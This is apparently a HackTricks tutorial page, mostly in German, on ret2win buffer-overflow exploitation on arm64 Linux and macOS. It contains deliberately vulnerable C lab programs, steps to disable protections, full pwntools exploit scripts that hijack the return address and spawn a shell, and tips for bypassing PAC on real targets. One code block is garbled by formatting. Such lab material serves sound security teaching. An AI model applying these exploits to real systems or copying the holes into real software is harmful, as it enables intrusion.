Ret2win - arm64

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Eine Einführung in arm64 findest du in:

Introduction to ARM64v8

Code

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Kompilieren ohne pie und canary:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • Das zusätzliche Flag -mbranch-protection=none deaktiviert AArch64 Branch Protection (PAC/BTI). Wenn deine Toolchain standardmäßig PAC oder BTI aktiviert, sorgt das für reproduzierbare Ergebnisse im Lab. Um zu prüfen, ob eine kompilierte Binärdatei PAC/BTI verwendet, kannst du:
  • Nach AArch64 GNU-Eigenschaften suchen:
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • Prologe/Epiloge auf paciasp/autiasp (PAC) oder auf bti c Landing-Pads (BTI) untersuchen:
  • objdump -d ret2win | head -n 40

Kurze Fakten zur AArch64-Aufrufkonvention

  • Das Link-Register ist x30 (a.k.a. lr), und Funktionen sichern typischerweise x29/x30 mit stp x29, x30, [sp, #-16]! und stellen sie mit ldp x29, x30, [sp], #16; ret wieder her.
  • Das bedeutet, dass die gespeicherte Rücksprungadresse relativ zur Frame-Basis bei sp+8 liegt. Bei einem darunter angeordneten char buffer[64] beträgt die übliche Überschreibdistanz bis zum gespeicherten x30 64 (buffer) + 8 (gespeichertes x29) = 72 Bytes — genau das werden wir weiter unten finden.
  • Der Stack-Pointer muss an Funktionsgrenzen 16‑Byte-ausgerichtet bleiben. Wenn du später ROP-Chains für komplexere Szenarien baust, achte auf die SP-Ausrichtung, sonst stürzt du möglicherweise bei Funktions-Epilogen ab.

Offset ermitteln

Pattern-Option

Dieses Beispiel wurde mit GEF erstellt:

Starte gdb mit gef, erstelle ein Pattern und verwende es:

gdb -q ./ret2win
pattern create 200
run

arm64 wird versuchen, zur Adresse im Register x30 zurückzukehren (das kompromittiert wurde), wir können das benutzen, um den Pattern-Offset zu finden:

pattern search $x30

Der Offset ist 72 (9x48).

Stack-Offset-Option

Beginne damit, die Stack-Adresse zu ermitteln, an der das pc-Register gespeichert ist:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Setze jetzt einen Breakpoint nach dem read() und fahre fort, bis der read() ausgeführt wird, und setze ein Pattern wie 13371337:

b *vulnerable_function+28
c

Finde, wo dieses Muster im Speicher gespeichert ist:

Dann: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Regulär

Bestimme die Adresse der Funktion win:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

Eigentlich handelt es sich eher um ein off-by-2 im gespeicherten PC auf dem Stack. Anstatt die gesamte return address zu überschreiben, werden wir nur die letzten 2 Bytes mit 0x06c4 überschreiben.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Du findest ein weiteres off-by-one Beispiel in ARM64 unter https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, das eine echte off-by-one in einer fiktiven Schwachstelle ist.

Mit PIE

Tip

Kompiliere das Binary ohne das -no-pie Argument

Off-by-2

Ohne einen leak kennen wir die exakte Adresse der winning function nicht, aber wir können den Offset der Funktion innerhalb des Binary ermitteln. Da die return address, die wir überschreiben, bereits auf eine nahe Adresse zeigt, ist es möglich, in diesem Fall den Offset zur win function (0x7d4) zu leak und einfach diesen Offset zu verwenden:

```python from pwn import *

Configuration

binary_name = ‘./ret2win’ p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

## macOS

### Code
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}

void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}

int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}

Kompilieren ohne canary (unter macOS kannst du PIE nicht deaktivieren):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

Ohne ASLR ausführen (obwohl wir einen address leak haben, brauchen wir es nicht):

env DYLD_DISABLE_ASLR=1 ./bof_macos

Tip

Es ist nicht möglich, NX in macOS zu deaktivieren, da dieser Modus auf arm64 auf Hardware-Ebene implementiert ist, sodass du ihn nicht deaktivieren kannst. Daher wirst du keine Beispiele mit shellcode im stack unter macOS finden.

Offset finden

  • Generiere ein Pattern:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
  • Führe das Programm aus und gib das pattern ein, um einen Crash zu verursachen:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
  • Prüfe das Register x30 (die Rücksprungadresse), um den Offset zu finden:
(lldb) register read x30
  • Verwende cyclic -l <value>, um den exakten Offset zu finden:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY

# Replace 0x61616173 with the 4 first bytes from the value of x30
  • So habe ich den offset 72 gefunden. Wenn du an diesem offset die Adresse der Funktion win() einsetzt, kannst du diese Funktion ausführen und eine shell bekommen (läuft ohne ASLR).

Exploit

#!/usr/bin/env python3
from pwn import *
import re

# Load the binary
binary_name = './bof_macos'

# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)

win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

macOS - 2. Beispiel

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}

__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}

__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}

int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);

// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);

// Sleep 3s
sleep(3);

vuln();
return 0;
}

Kompilieren ohne canary (unter macOS kannst du PIE nicht deaktivieren):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

Offset finden

  • Erzeuge ein Muster in die Datei /tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
  • Führe das Programm aus, um einen Absturz zu verursachen:
lldb ./bof_macos
(lldb) run
  • Überprüfe das Register x30 (die Rücksprungadresse), um das Offset zu finden:
(lldb) register read x30
  • Verwende cyclic -l <value> um den exakten Offset zu finden:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
  • So habe ich den Offset 72 gefunden; setzt man an diesem Offset die Adresse der Funktion win() ein, kann man diese Funktion ausführen und eine Shell erhalten (läuft ohne ASLR).

Berechne die Adresse von win()

  • Das binary ist PIE. Mit dem leak der Funktion leak_anchor() und Kenntnis des Offsets von win() relativ zu leak_anchor() können wir die Adresse von win() berechnen.
objdump -d bof_macos | grep -E 'leak_anchor|win'

0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
  • Der offset ist 0x47c - 0x460 = 0x1c

Exploit

#!/usr/bin/env python3
from pwn import *
import re
import os

# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")

# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)

print("[*] Payload written to /tmp/exploit.txt")

# Drop to an interactive session
p.interactive()

Hinweise zur modernen AArch64-Härtung (PAC/BTI) und ret2win

  • If the binary is compiled with AArch64 Branch Protection, you may see paciasp/autiasp or bti c emitted in function prologues/epilogues. In that case:
  • Die Rückkehr zu einer Adresse, die kein gültiger BTI‑Landing‑Pad ist, kann ein SIGILL auslösen. Bevorzuge es, genau den Funktionsanfang anzusteuern, der bti c enthält.
  • If PAC is enabled for returns, naive return‑address overwrites may fail because the epilogue authenticates x30. For learning scenarios, rebuild with -mbranch-protection=none (shown above). When attacking real targets, prefer non‑return hijacks (e.g., function pointer overwrites) or build ROP that never executes an autiasp/ret pair that authenticates your forged LR.
  • To check features quickly:
  • readelf --notes -W ./ret2win and look for AARCH64_FEATURE_1_BTI / AARCH64_FEATURE_1_PAC notes.
  • objdump -d ./ret2win | head -n 40 and look for bti c, paciasp, autiasp.

Running on non‑ARM64 hosts (qemu‑user quick tip)

If you are on x86_64 but want to practice AArch64:

# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

Verwandte HackTricks-Seiten

Ret2syscall - arm64

Ret2lib + Printf leak - arm64

Referenzen

  • Aktivierung von PAC und BTI auf AArch64 für Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Standard für Prozeduraufrufe der Arm-64-Bit-Architektur (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks